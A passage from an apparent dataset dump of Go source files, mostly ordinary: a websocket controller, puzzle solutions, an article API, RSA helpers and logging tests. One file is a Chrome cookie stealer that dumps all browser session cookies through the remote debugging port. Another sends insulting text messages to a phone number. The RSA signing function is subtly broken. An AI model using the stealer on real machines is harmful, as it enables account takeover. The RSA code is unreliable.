(\n\t\"encoding/json\"\n\t\"github.com/dgmann/document-manager/api/internal/event\"\n\t\"github.com/dgmann/document-manager/api/pkg/api\"\n\t\"github.com/go-chi/chi/v5\"\n\t\"github.com/sirupsen/logrus\"\n\t\"gopkg.in/olahol/melody.v1\"\n\t\"net/http\"\n\t\"sync\"\n)\n\ntype WebsocketController struct {\n\tSubscriber event.Subscriber\n}\n\nfunc (w *WebsocketController) getWebsocketHandler() http.Handler {\n\tr := chi.NewRouter()\n\tm := melody.New()\n\tws := NewWebSocketService()\n\n\tr.Get(\"/\", func(w http.ResponseWriter, req *http.Request) {\n\n\t\tif err := m.HandleRequest(w, req); err != nil {\n\t\t\tif _, werr := w.Write([]byte(err.Error())); werr != nil {\n\t\t\t\tlogrus.Error(werr)\n\t\t\t}\n\t\t}\n\t})\n\n\tm.HandleConnect(func(s *melody.Session) {\n\t\tws.AddClient(NewClient(s))\n\t})\n\n\tm.HandleDisconnect(func(s *melody.Session) {\n\t\tws.RemoveClient(s)\n\t})\n\n\tgo publishEvents(m, w.Subscriber)\n\treturn r\n}\n\nfunc publishEvents(m *melody.Melody, subscriber event.Subscriber) {\n\tevents := subscriber.Subscribe(api.EventTypeCreated, api.EventTypeDeleted, api.EventTypeUpdated)\n\tfor e := range events {\n\t\tdata, _ := json.Marshal(e)\n\t\terr := m.Broadcast(data)\n\t\tif err != nil {\n\t\t\tlogrus.Debug(err)\n\t\t}\n\t}\n}\n\ntype Client struct {\n\tName string\n\tsession *melody.Session\n}\n\nfunc NewClient(session *melody.Session) *Client {\n\treturn &Client{Name: \"\", session: session}\n}\n\ntype WebsocketService struct {\n\tclients map[*melody.Session]*Client\n\tmutex *sync.Mutex\n}\n\nfunc NewWebSocketService() *WebsocketService {\n\treturn &WebsocketService{clients: make(map[*melody.Session]*Client), mutex: new(sync.Mutex)}\n}\n\nfunc (ws *WebsocketService) AddClient(client *Client) {\n\tws.mutex.Lock()\n\tws.clients[client.session] = client\n\tws.mutex.Unlock()\n}\n\nfunc (ws *WebsocketService) RemoveClient(session *melody.Session) {\n\tws.mutex.Lock()\n\tdelete(ws.clients, session)\n\tws.mutex.Unlock()\n}\n\nfunc (ws *WebsocketService) GetClient(session *melody.Session) *Client {\n\treturn ws.clients[session]\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":798,"cells":{"blob_id":{"kind":"string","value":"7981c85692e6fd97bb8ce796f69984def758c347"},"language":{"kind":"string","value":"Go"},"repo_name":{"kind":"string","value":"tanbinh123/open-social"},"path":{"kind":"string","value":"/eventing/publisher.go"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":212,"string":"212"},"score":{"kind":"number","value":2.515625,"string":"2.515625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"detected_licenses_right":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type_right":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"package eventing\n\nimport \"context\"\n\n// Publisher is a high-level interface used to publish messages to a sub/pub.\ntype Publisher interface {\n\tPublish(ctx context.Context, key string, message interface{}) error\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":799,"cells":{"blob_id":{"kind":"string","value":"9e562d045bd5695570c3a0ae415eb9d6c446c38b"},"language":{"kind":"string","value":"Go"},"repo_name":{"kind":"string","value":"iinux/JohannCarlFriedrichGauss"},"path":{"kind":"string","value":"/leetcode/reverse-integer.go"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":614,"string":"614"},"score":{"kind":"number","value":3.125,"string":"3.125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"detected_licenses_right":{"kind":"list like","value":[],"string":"[]"},"license_type_right":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"package main\n\nimport \"strconv\"\n\nfunc main() {\n\tprintln(reverse(123))\n\tprintln(reverse(-123))\n\tprintln(reverse(120))\n\tprintln(reverse(0))\n\tprintln(reverse(1534236469))\n\tprintln(INT_MIN, INT_MAX)\n}\n\nconst INT_MAX = int(^uint32(0) >> 1)\nconst INT_MIN = ^INT_MAX\n\nfunc reverse(x int) int {\n\tlz := false\n\tif x < 0 {\n\t\tlz = true\n\t\tx = -x\n\t}\n\n\ty := []byte(strconv.Itoa(x))\n\tl := len(y)\n\tfor i := 0 ; i < l; i++ {\n\t\ta := i\n\t\tb := l - i - 1\n\t\tif a > b {\n\t\t\tbreak\n\t\t}\n\n\t\tt := y[a]\n\t\ty[a] = y[b]\n\t\ty[b] = t\n\t}\n\n\tr, _ := strconv.Atoi(string(y))\n\tif lz {\n\t\tr = -r\n\t}\n\tif r > INT_MAX || r < INT_MIN {\n\t\treturn 0\n\t}\n\treturn r\n}\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}}],"truncated":false,"partial":false},"paginationData":{"pageIndex":7,"numItemsPerPage":100,"numTotalItems":1917163,"offset":700,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc1Njc2MDEzMywic3ViIjoiL2RhdGFzZXRzL2hvbmdsaXU5OTAzL3N0YWNrX2VkdV9nbyIsImV4cCI6MTc1Njc2MzczMywiaXNzIjoiaHR0cHM6Ly9odWdnaW5nZmFjZS5jbyJ9.bcgg3j2A7hy1kKkhcJTGT_xPShsLZ-rleV8ibcTruFcd3-S6Yp7WhgRxR6Q-oLZ58BCI9B04cwjgPeMRp2sTDw","displayUrls":true},"discussionsStats":{"closed":0,"open":0,"total":0},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
4
108
path
stringlengths
2
210
src_encoding
stringclasses
12 values
length_bytes
int64
13
5.82M
score
float64
2.52
5.22
int_score
int64
3
5
detected_licenses
listlengths
0
161
license_type
stringclasses
2 values
detected_licenses_right
listlengths
0
161
license_type_right
stringclasses
2 values
text
stringlengths
13
6.48M
download_success
bool
1 class
972a72e023a3b94bd69ed898f32c27bd5d978e25
Go
robertwe/advent-of-code-2017
/day02/part2.go
UTF-8
472
3.171875
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package main import ( "strings" "github.com/mdwhatcott/advent-of-code/util" ) func part2(lines []string) int { checksum := 0 for _, line := range lines { fields := strings.Fields(line) ints := util.ParseInts(fields) checksum += divider(ints) } return checksum } func divider(nums []int) int { for _, a := range nums { for _, b := range nums { if a == b { continue } if a%b == 0 && a/b > 0 { return a / b } } } panic("BAD ROW") }
true
c373dac625cc6efc789f8729d4eccfe48fc5588a
Go
ahmadfaizk/golang-simple-api
/handler/response/article.go
UTF-8
791
2.78125
3
[]
no_license
[]
no_license
package response import ( "golang-simple-api/model" "time" ) type ArticleResponse struct { ID uint `json:"id"` Title string `json:"title"` Body string `json:"body"` CreatedAt time.Time `json:"created_at"` UpdatedAt time.Time `json:"updated_at"` } func NewArticleResponse(a *model.Article) *ArticleResponse { ar := new(ArticleResponse) ar.ID = a.ID ar.Title = a.Title ar.Body = a.Body ar.CreatedAt = a.CreatedAt ar.UpdatedAt = a.UpdatedAt return ar } func NewArticleListResponse(articles []model.Article) []*ArticleResponse { arr := make([]*ArticleResponse, 0) for _, a := range articles { ar := new(ArticleResponse) ar.ID = a.ID ar.Title = a.Title ar.Body = a.Body ar.CreatedAt = a.CreatedAt ar.UpdatedAt = a.UpdatedAt arr = append(arr, ar) } return arr }
true
a5e6522e66061a6eb8141085515311894ffea780
Go
backlash-go/learnote
/basic5/channeldemo2.go
UTF-8
330
3.296875
3
[]
no_license
[]
no_license
package main import ( "fmt" "time" ) func main() { chan1 := make(chan int,3) go func() { for i:=0;i<5;i++{ chan1 <- i fmt.Println("sub ",i) } fmt.Println("finish") }() time.Sleep(time.Second * 2) for i:=0;i<5;i++{ num := <- chan1 //time.Sleep(time.Millisecond * 3) fmt.Println("patrent", num) } }
true
b91afe55f9ca08c4c6ef37efc65eb939ad64d315
Go
EndlessCheng/codeforces-go
/leetcode/season/2021fall/b/b.go
UTF-8
1,466
3.90625
4
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package main import "sort" /* 排序+贪心 将 $\textit{cards}$ 从大到小排序,并累加前 $\textit{cnt}$ 个元素之和,记作 $\textit{sum}$,若 $\textit{sum}$ 是偶数则直接返回,若不是偶数,则我们需要从前 $\textit{cnt}$ 个元素中选一个元素 $x$,并从后面找一个最大的且奇偶性和 $x$ 不同的元素替换 x,这样就可以使 $\textit{sum}$ 为偶数。 为了使 $\textit{sum}$ 尽可能大,我们需要使替换前后的变化尽可能地小,我们分两种情况讨论: - 替换 $\textit{card}[\textit{cnt}-1]$; - 替换前 $\textit{cnt}$ 个元素中,最小的且奇偶性和 $\textit{card}[\textit{cnt}-1]$ 不同的元素。 */ // github.com/EndlessCheng/codeforces-go func maxmiumScore(cards []int, cnt int) (ans int) { sort.Sort(sort.Reverse(sort.IntSlice(cards))) sum := 0 for _, v := range cards[:cnt] { sum += v } if sum&1 == 0 { return sum } // 在 cards[cnt:] 中找一个最大的且奇偶性和 x 不同的元素,替换 x replace := func(x int) { for _, v := range cards[cnt:] { if v&1 != x&1 { ans = max(ans, sum-x+v) break } } } replace(cards[cnt-1]) // 替换 cards[cnt-1] for i := cnt - 2; i >= 0; i-- { if cards[i]&1 != cards[cnt-1]&1 { // 找一个最小的且奇偶性不同于 cards[cnt-1] 的元素,将其替换掉 replace(cards[i]) break } } return } func max(a, b int) int { if b > a { return b } return a }
true
38bee974b69bbdcac885e6631f51e8c248621522
Go
zjbullock/annoySomeone
/router/handlers/handlers.go
UTF-8
2,175
2.6875
3
[]
no_license
[]
no_license
package handlers import ( "annoySomeone/global" "annoySomeone/model" "annoySomeone/service" "context" "encoding/json" "fmt" "github.com/gorilla/mux" "github.com/juju/loggo" "net/http" ) var ( l loggo.Logger ) func BeMean(ctx context.Context) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { req := json.NewDecoder(r.Body) var who model.Who err := req.Decode(&who) if err != nil { l.Errorf("Error decoding request body: %v", who) return } resp, err := ctx.Value(global.MeanService).(service.Mean).SendMean(who) if err != nil { http.Error(w, fmt.Sprint(err), http.StatusInternalServerError) } w.WriteHeader(http.StatusOK) w.Header().Add("content-type", "application/json") fmt.Fprintf(w, *resp) } } func GotMilk(ctx context.Context) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { params := mux.Vars(r) if params["zipCode"] == "" { l.Errorf("Error getting zipCode") return } zipCode := params["zipCode"] l.Infof("zipCode: %v", zipCode) resp, err := ctx.Value(global.MilkService).(service.Milk).GetMilk(zipCode) if err != nil { http.Error(w, fmt.Sprint(err), http.StatusInternalServerError) return } w.WriteHeader(http.StatusOK) w.Header().Add("content-type", "application/json") fmt.Fprintf(w, *resp) return } } func TextMilk(ctx context.Context) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { req := json.NewDecoder(r.Body) var who model.Who err := req.Decode(&who) if err != nil { l.Errorf("Error decoding request body: %v", who) return } if len(who.Number) != 10 { http.Error(w, fmt.Sprint("Length of phone number is not 10 characters."), http.StatusBadRequest) return } if len(who.ZipCode) == 0 { http.Error(w, fmt.Sprint("No Zipcode provided"), http.StatusBadRequest) return } resp, err := ctx.Value(global.MilkService).(service.Milk).SendMilk(who) if err != nil { http.Error(w, fmt.Sprint(err), http.StatusInternalServerError) return } w.WriteHeader(http.StatusOK) w.Header().Add("content-type", "application/json") fmt.Fprintf(w, *resp) return } }
true
ba2059d74012d9aa744599478c1cf985a6caefdf
Go
blporter/adamTask
/main.go
UTF-8
1,769
2.96875
3
[]
no_license
[]
no_license
package main import ( "net/http" "log" "io/ioutil" "encoding/json" "github.com/gorilla/mux" "time" "fmt" ) const URL = "https://api.opendota.com/api/proplayers" var allPlayers []Player var playerMap map[string]Player func init() { playerMap = make(map[string]Player) } func main() { channel := make(chan []Player) playerClient := http.Client{ Timeout: time.Second * 10, } go func(channel chan []Player) { for { players := <- channel for _, item := range players { playerMap[item.Name] = item } } }(channel) go RefreshPLayersArray(&playerClient, channel) // start the server since we have initialized all data router := mux.NewRouter() router.HandleFunc("/", func(responseWriter http.ResponseWriter, request *http.Request) { // read from a file key := request.Header.Get("name") if player, ok := playerMap[key]; ok { bytes, _ := json.Marshal(player) responseWriter.Write([]byte(bytes)) }else{ http.Error(responseWriter, "Not found", 505) } }) http.Handle("/", router) log.Fatal(http.ListenAndServe(":8080", router)) } func RefreshPLayersArray(client *http.Client, channel chan []Player) { var playersToReturn []Player request, err := http.NewRequest(http.MethodGet, URL, nil) if err != nil { log.Fatal(err) } request.Header.Set("player-name", "name") response, getErr := client.Do(request) if getErr != nil { log.Fatal(getErr) } body, readErr := ioutil.ReadAll(response.Body) if readErr != nil { log.Fatal(readErr) } jsonErr := json.Unmarshal(body, &playersToReturn) if jsonErr != nil { log.Fatal(jsonErr) } //write to the channel channel <- playersToReturn fmt.Println("Refreshing data") time.Sleep(5 * time.Minute) go RefreshPLayersArray(client, channel) }
true
c4707853a7b359d6cb364e7cecae7690df5f5bf5
Go
pq124/Crypt
/rsa/rsa.go
UTF-8
6,074
2.8125
3
[]
no_license
[]
no_license
package rsa import ( "CryptCode/utils" "crypto" "crypto/rand" "crypto/rsa" "crypto/x509" "encoding/pem" "flag" "fmt" "io/ioutil" "os" ) const RSA_PRIVATE = "RSA PRIVATE KEY" const RSA_PUBLIC = "RSA PUBLIC KEY" /** * 私钥: * 公钥: * 汉森堡 */ func CreatePairKeys() (*rsa.PrivateKey,error) { //1、先生成私钥 //var bits int //flag.IntVar(&bits, "b", 1024, "密钥长度") ////fmt.Println(bits) //privateKey, err := rsa.GenerateKey(rand.Reader, bits) //if err != nil { // return nil, err //} // ////2、根据私钥生成公钥 //publicKey := privateKey.Public() //fmt.Println(publicKey) ////3、将私钥和公钥进行返回 //return privateKey, nil //1.生成私钥 var bits int flag.IntVar(&bits,"b",1024,"密钥长度") pri,err:=rsa.GenerateKey(rand.Reader,bits) if err!=nil { return nil,err } return pri,nil //2.根据私钥生成公钥 publicKeY:=pri.Public() fmt.Println(publicKeY) //3.返回私钥公 return pri,nil } //---------------------关于pem证书文件的生成和读取------------------------ /** * 根据用户传入的内容,自动创建公私钥,并生成相应格式的证书文件 */ func GenerateKeys(file_name string) error { //1、生成私钥 //pri, err := CreatePairKeys() //if err != nil { // return err //} ////2.创建私钥文件 //err = generatePriFileByPrivateKey(pri, file_name) //if err != nil { // return err //} ////3、公钥文件 //err = generatePubFileByPubKey(pri.PublicKey, file_name) //if err != nil { // return err //} //return nil pri,err:=CreatePairKeys() if err!=nil { return nil } err=generatePriFileByPrivateKey(pri,file_name) if err!=nil { return nil } err =generatePubFileByPubKey(pri.PublicKey,file_name) if err!=nil { return err } return nil } /** * 读取pem文件格式的私钥数据 */ func ReadPemPriKey(file_name string) (*rsa.PrivateKey, error) { //blockBytes, err := ioutil.ReadFile(file_name) // //if err != nil { // // return nil, err // //} // ////pem.decode:将byte数据解码为内存中的实例对象 // //block, _ := pem.Decode(blockBytes) // // // //priBytes := block.Bytes // //priKey, err := x509.ParsePKCS1PrivateKey(priBytes) // //return priKey, err blockBytes,err:=ioutil.ReadFile(file_name) if err!=nil { return nil,err } block,_:=pem.Decode(blockBytes) priBytes:=block.Bytes pri,err:=x509.ParsePKCS1PrivateKey(priBytes) return pri,err } /** * 读取pem文件格式的公钥数据 */ func ReadPemPubKey(file_name string) (*rsa.PublicKey, error) { //blockBytes, err := ioutil.ReadFile(file_name) //if err != nil { // return nil, err //} //block, _ := pem.Decode(blockBytes) //pubKey, err := x509.ParsePKCS1PublicKey(block.Bytes) //return pubKey, err blockBytes,err:=ioutil.ReadFile(file_name) if err!=nil { return nil,err } block,_:=pem.Decode(blockBytes) pub,err:=x509.ParsePKCS1PublicKey(block.Bytes) if err!=nil { return nil,err } return pub,nil } /** * 根据给定的私钥数据,生成对应的pem文件 */ func generatePriFileByPrivateKey(pri *rsa.PrivateKey, file_name string) (error) { //根据PKCS1规则,序列化后的私钥 //priStream := x509.MarshalPKCS1PrivateKey(pri) // ////pem文件,此时,privateFile文件为空 //privatFile, err := os.Create("rsa_pri_" + file_name + ".pem") //存私钥的生成的文件 //if err != nil { // return err //} // ////pem文件中的格式 结构体 //block := &pem.Block{ // Type: RSA_PRIVATE, // Bytes: priStream, //} // ////将准备好的格式内容写入到pem文件中 //err = pem.Encode(privatFile, block) //if err != nil { // return err //} //return nil priSteam:=x509.MarshalPKCS1PrivateKey(pri) privatFile,err:=os.Create("rsa_pri_"+file_name+".pem") if err!=nil { return err } block:=&pem.Block{ Type:RSA_PRIVATE, Bytes:priSteam, } err=pem.Encode(privatFile,block) if err!=nil { return err } return nil } /** * 根据公钥生成对应的pem文件,持久化存储 */ func generatePubFileByPubKey(pub rsa.PublicKey, file_name string) error { //stream := x509.MarshalPKCS1PublicKey(&pub) // //block := pem.Block{ // Type: RSA_PUBLIC, // Bytes: stream, //} // //pubFile, err := os.Create("rsa_pub_" + file_name + ".pem") //if err != nil { // return err //} //return pem.Encode(pubFile, &block) pubStream:=x509.MarshalPKCS1PublicKey(&pub) block:=pem.Block{ Type: RSA_PUBLIC, Bytes: pubStream, } pubFile,err:=os.Create("rsa_pub_"+file_name+".pem") if err!=nil { return err } return pem.Encode(pubFile,&block) } //=========================第一种组合:公钥加密,私钥解密==============================// /** * 使用RSA算法对数据进行加密,返回加密后的密文 */ func RSAEncrypt(key rsa.PublicKey, data []byte) ([]byte, error) { return rsa.EncryptPKCS1v15(rand.Reader,&key,data) //return rsa.EncryptPKCS1v15(rand.Reader, &key, data) } /** * 使用RSA算法对密文数据进行解密,返回解密后的明文 */ func RSADecrypt(private *rsa.PrivateKey, cipher []byte) ([]byte, error) { return rsa.DecryptPKCS1v15(rand.Reader,private,cipher) //return rsa.DecryptPKCS1v15(rand.Reader, private, cipher) } //=========================第二种组合:私钥签名,公钥验签==============================// /** * 使用RSA算法对数据进行数字签名,并返回签名信息 */ func RSASign(private *rsa.PrivateKey, data []byte) ([]byte, error) { hashed:=utils.Md5Hash(data) rsa.SignPKCS1v15(rand.Reader,private,crypto.MD5,hashed) //hashed := utils.Md5Hash(data) //return rsa.SignPKCS1v15(rand.Reader, private, crypto.MD5, hashed) } /** * 使用RSA算法对数据进行签名验证,并返回签名验证的结果 * 验证通过,返回true * 验证不通过,返回false, 同时error中有错误信息 */ func RSAVerify(pub rsa.PublicKey, data []byte, signText []byte) (bool, error) { hashed := utils.Md5Hash(data) err := rsa.VerifyPKCS1v15(&pub, crypto.MD5, hashed, signText) if err!=nil { return false,err } return true,nil }
true
0ef4ee2919bfe22de2f45da9aa7f442a374aff55
Go
mewbak/gocontracts
/parsebody/success_no_contract_test.go
UTF-8
785
2.734375
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package parsebody_test import ( "testing" "github.com/Parquery/gocontracts/parsebody" ) func TestToContract_NoContract_CommentStatement(t *testing.T) { text := `package dummy func SomeFunc(x int, y int) (result string, err error) { // do something return }` expected := parsebody.Contract{NextNodePos: 74} checkContract(t, text, expected) } func TestToContract_EmptyMultilineFunction(t *testing.T) { text := `package dummy func SomeFunc(x int, y int) (result string, err error) { }` expected := parsebody.Contract{} checkContract(t, text, expected) } func TestToContract_EmptySinglelineFunction(t *testing.T) { text := `package dummy func SomeFunc(x int, y int) (result string, err error) {}` expected := parsebody.Contract{} checkContract(t, text, expected) }
true
be1d09c10c8b946dc11831879a5b184515a4d494
Go
tanyfx/ent
/comm/util.go
UTF-8
7,976
2.640625
3
[]
no_license
[]
no_license
//author tyf //date 2017-02-09 18:06 //desc package comm import ( "bufio" "database/sql" "errors" "fmt" "io/ioutil" "log" "net/http" "os" "regexp" "strconv" "strings" "time" "github.com/jmcvetta/randutil" "github.com/tanyfx/ent/comm/consts" "gopkg.in/redis.v5" ) func ReadConf(filename string) (dbHandler, redisAddr, redisPasswd string, err error) { user := "root" passwd := "" host := "localhost" port := "3306" dbName := "ent" dbHandler = "" redisHost := "localhost" redisPort := "6379" redisPasswd = "" redisAddr = consts.RedisAddr f, err := os.Open(filename) if err != nil { return } r := bufio.NewReader(f) for { line, _, err := r.ReadLine() if err != nil { break } if strings.HasPrefix(strings.TrimSpace(string(line)), "#") { continue } m := strings.Split(string(line), "=") if len(m) < 2 { continue } k := strings.TrimSpace(m[0]) v := strings.TrimSpace(strings.Join(m[1:], "=")) switch strings.TrimSpace(k) { case "user": user = v case "host": host = v case "port": port = v case "passwd": passwd = v case "db_name": dbName = v case "redis_host": redisHost = v case "redis_port": redisPort = v case "redis_passwd": redisPasswd = v default: continue } } //dbHandler = "root:123456@tcp(localhost:3306)/ent" dbHandler = fmt.Sprintf("%s:%s@tcp(%s:%s)/%s", user, passwd, host, port, dbName) //dbHandler = fmt.Sprint(user, ":", passwd, "@tcp(", host, ":", port, ")/", dbName) redisAddr = fmt.Sprintf("%s:%s", redisHost, redisPort) return } func DownloadImage(imgURL, folderPath string) (string, error) { emptyStr := "" suffix := ".jpg" suffixRegexp := regexp.MustCompile(`(\.\w+)$`) m := suffixRegexp.FindStringSubmatch(imgURL) if len(m) == 2 { suffix = m[1] } fileName, err := randutil.AlphaStringRange(30, 40) if err != nil { return emptyStr, err } imgName := fileName + suffix resp, err := getThrice(imgURL) if err != nil { return emptyStr, err } defer resp.Body.Close() if resp.StatusCode != 200 { return emptyStr, errors.New("return code not 200 OK") } content, err := ioutil.ReadAll(resp.Body) if err != nil { return emptyStr, err } //fmt.Println(time.Now().Format(TimeFormat), "img", imgURL, "length", len(content)) imgWriter, err := os.Create(strings.TrimSuffix(folderPath, "/") + "/" + imgName) if err != nil { return emptyStr, err } defer imgWriter.Close() _, err = imgWriter.Write(content) if err != nil { return emptyStr, err } return imgName, nil } func getThrice(link string) (resp *http.Response, err error) { resp = nil client := http.Client{ Timeout: time.Duration(10 * time.Second), } req, err := http.NewRequest("GET", link, nil) if err != nil { return nil, err } req.Header.Add("User-Agent", consts.UserAgent) err = nil for i := 0; i < 3; i++ { if err != nil { log.Println(err.Error(), "try again", link) } resp, err = client.Do(req) if err != nil { continue } if resp.StatusCode != 200 { resp.Body.Close() err = errors.New("return code not 200 OK") continue } else { break } } return resp, err } func FindStar(star string, pairs []StarIDPair) bool { flag := false for _, pair := range pairs { if star == pair.NameCN { flag = true break } } return flag } //input: 2017-01-02 15:09:02 func GetDuration(inputTime string) time.Duration { preTime, err := time.Parse("2006-01-02 15:04:05", inputTime) if err != nil { return 0 } pre := preTime.Unix() cur := time.Now().Unix() if pre > cur { return 0 } return time.Duration(cur - pre) } //starIDMap: map[starName] = starID, idStarMap: map[starID] = starName func GetRedisStarID(client *redis.Client) (starIDMap, idStarMap map[string]string, err error) { starIDMap = map[string]string{} idStarMap = map[string]string{} names, err := client.Keys(consts.RedisNamePrefix + "*").Result() if err != nil { return starIDMap, idStarMap, errors.New("error while get star name key from redis: " + err.Error()) } for _, tmpName := range names { name := strings.TrimPrefix(tmpName, consts.RedisNamePrefix) starID := client.Get(tmpName).Val() starIDMap[name] = starID idStarMap[starID] = name } return FixStarNameMap(starIDMap), idStarMap, nil } //nicknameMap: map[nickname] = starID func GetNickname(db *sql.DB) (NicknameMap map[string]string, err error) { NicknameMap = map[string]string{} queryStr := "select name, star_id from nickname" rows, err := db.Query(queryStr) if err != nil { return NicknameMap, errors.New("error while get stars from table nickname: " + err.Error()) } for rows.Next() { var starID, nickname sql.NullString err = rows.Scan(&nickname, &starID) if err != nil { log.Println("error while scan nickname rows:", err.Error()) continue } if nickname.Valid && starID.Valid { NicknameMap[nickname.String] = starID.String } } return FixStarNameMap(NicknameMap), nil } func FixStarNameMap(nameMap map[string]string) map[string]string { delete(nameMap, "信") delete(nameMap, "苹果") delete(nameMap, "L") return nameMap } //get input keys to lower case to make sure keys match //starIDMap: star_name->star_id //map[string]StarIDPair : star name -> star id pair func GetSearchStarList(filename string, starIDMap map[string]string) map[string]StarIDPair { resultMap := map[string]StarIDPair{} pairMap := map[string]StarIDPair{} for name, starID := range starIDMap { tmpPair := StarIDPair{ NameCN: name, StarID: starID, } name = strings.ToLower(name) pairMap[name] = tmpPair } content, err := ioutil.ReadFile(filename) if err != nil { log.Println("error while read file:", filename, err.Error()) return resultMap } lines := strings.Split(string(content), "\n") for _, line := range lines { line = strings.TrimSpace(line) if len(line) == 0 || strings.HasPrefix(line, "#") { continue } names := strings.Split(line, ",") if len(names) == 0 { continue } tmpName := strings.ToLower(names[0]) tmpPair, found := pairMap[tmpName] if !found { log.Println("star name not found in star_name table:", names[0]) continue } if len(names) > 1 { resultMap[names[1]] = tmpPair //tmpName = names[1] } else { resultMap[names[0]] = tmpPair } fmt.Println(time.Now().Format(consts.TimeFormat), "name in db:", tmpPair.NameCN, "search name:", tmpName, "star id:", tmpPair.StarID) } return resultMap } //转义字符串,用于MySQL存储 func EscapeStr(str string) string { result := strings.TrimSpace(str) result = strings.Replace(str, ";", ";", -1) result = strings.Replace(result, ",", ",", -1) result = strings.Replace(result, "'", "\"", -1) return result } //sql.NullString => string func ConvertStrings(input []sql.NullString) []string { result := []string{} for _, tmpStr := range input { result = append(result, tmpStr.String) } return result } //用于插入分页符 //a input string slice //sep separator //m gaps between two break func JoinWithBreak(a []string, brk string, sep string, m int) string { if len(a) == 0 || m < 1 { return "" } if len(a) <= m { return strings.Join(a, sep) } remain := len(a) % m x := len(a) / m if remain == 0 { remain = m x-- } n := len(brk)*x + len(sep)*(len(a)-1-x) for i := 0; i < len(a); i++ { n += len(a[i]) } b := make([]byte, n) bp := copy(b, a[0]) for i := 1; i < remain; i++ { bp += copy(b[bp:], sep) bp += copy(b[bp:], a[i]) } count := 0 for _, s := range a[remain:] { if count%m == 0 { bp += copy(b[bp:], brk) } else { bp += copy(b[bp:], sep) } bp += copy(b[bp:], s) count++ } return string(b) } func InterfaceToString(x interface{}) string { result := "" switch x.(type) { case float64: result = strconv.Itoa(int(x.(float64))) case float32: result = strconv.Itoa(int(x.(float32))) case int: result = strconv.Itoa(x.(int)) case string: result = x.(string) default: result = "" } return result }
true
f30dfec93ac8e37f45a61d4fcf26309f67733004
Go
FDlucifer/Offensive-Go-Scripts
/ChromeCookieStealer/chromecookie.go
UTF-8
1,220
2.53125
3
[]
no_license
[]
no_license
package main import ( "fmt" "log" "os/exec" "github.com/levigross/grequests" "github.com/tidwall/gjson" "golang.org/x/net/websocket" ) func runchrome() { cmd := exec.Command("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome", "--headless", "--user-data-dir=/Users/ADDYOURUSERNAME/Library/Application Support/Google/Chrome/Default", "https://gmail.com", "--remote-debugging-port=9222") err := cmd.Run() if err != nil { log.Fatalf("cmd.Run() failed with %s\n", err) } } func checkcookies(socketurl string) { cookie := `{"id": 1, "method": "Network.getAllCookies"}` origin := "http://localhost/" ws, err := websocket.Dial(socketurl, "", origin) if err != nil { log.Fatal(err) } if _, err := ws.Write([]byte(cookie)); err != nil { log.Fatal(err) } var msg = make([]byte, 512) var n int if n, err = ws.Read(msg); err != nil { log.Fatal(err) } fmt.Printf("Received: %s.\n", msg[:n]) } func main() { go runchrome() resp, err := grequests.Get("http://localhost:9222/json", nil) if err != nil { panic(err) } value := gjson.Get(resp.String(), "#.webSocketDebuggerUrl") value.ForEach(func(key, value gjson.Result) bool { checkcookies(value.String()) return true }) }
true
b09d4e09a46020283553fb7923a96fd0e075eec4
Go
isabella232/lemming
/lib/log/log_test.go
UTF-8
2,788
3.40625
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package log_test import ( "github.com/opendns/lemming/lib/log" "io" "math/rand" "os" "strings" "testing" ) func TestStdout(t *testing.T) { log.Init() if log.Writer() != os.Stdout { t.Error("Default Init() did not use os.Stdout") } } func TestStderr(t *testing.T) { log.InitWithStderr() if log.Writer() != os.Stderr { t.Error("InitWithStderr() did not use os.Stderr") } } func TestDebug(t *testing.T) { log.SetDebug(false) testSomeLogMethod(t, log.Debug, "DEBUG", false) log.SetDebug(true) testSomeLogMethod(t, log.Debug, "DEBUG", true) log.SetDebug(false) testSomeLogMethod(t, log.Debug, "DEBUG", false) } func TestInfo(t *testing.T) { testSomeLogMethod(t, log.Info, "INFO", true) } func TestWarning(t *testing.T) { testSomeLogMethod(t, log.Warning, "WARNING", true) } func TestError(t *testing.T) { devnull, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0777) if err != nil { t.Skip("Cannot open /dev/null") } defer devnull.Close() // Must reinitialize the logger since it points to a stale pipe log.InitWithWriter(devnull) boom := "BOOM" defer func() { if r := recover(); r == nil { t.Error("log.Error() did not panic, but it should have") } else if !strings.Contains(r.(string), boom) { t.Errorf("Got unexpected panic from log.Error(): %s", r.(string)) } }() log.Error(boom) } // Signature of all the logging functions type LogMethod func(string, ...interface{}) // Helper function for the logging tests; sets up an io.Pipe to validate output func testSomeLogMethod(t *testing.T, fn LogMethod, level string, expectOutput bool) { r, w := io.Pipe() defer r.Close() log.InitWithWriter(w) // Generate log message rs := randomString() go func(fn LogMethod, rs string, w io.WriteCloser) { fn(rs) w.Close() }(fn, rs, w) // Check we got the message var output []byte = make([]byte, 1024) _, readErr := r.Read(output) if readErr != nil && readErr != io.EOF { t.Fatalf("Cannot read log output from io.Pipe: %v", readErr) } if readErr == io.EOF { if 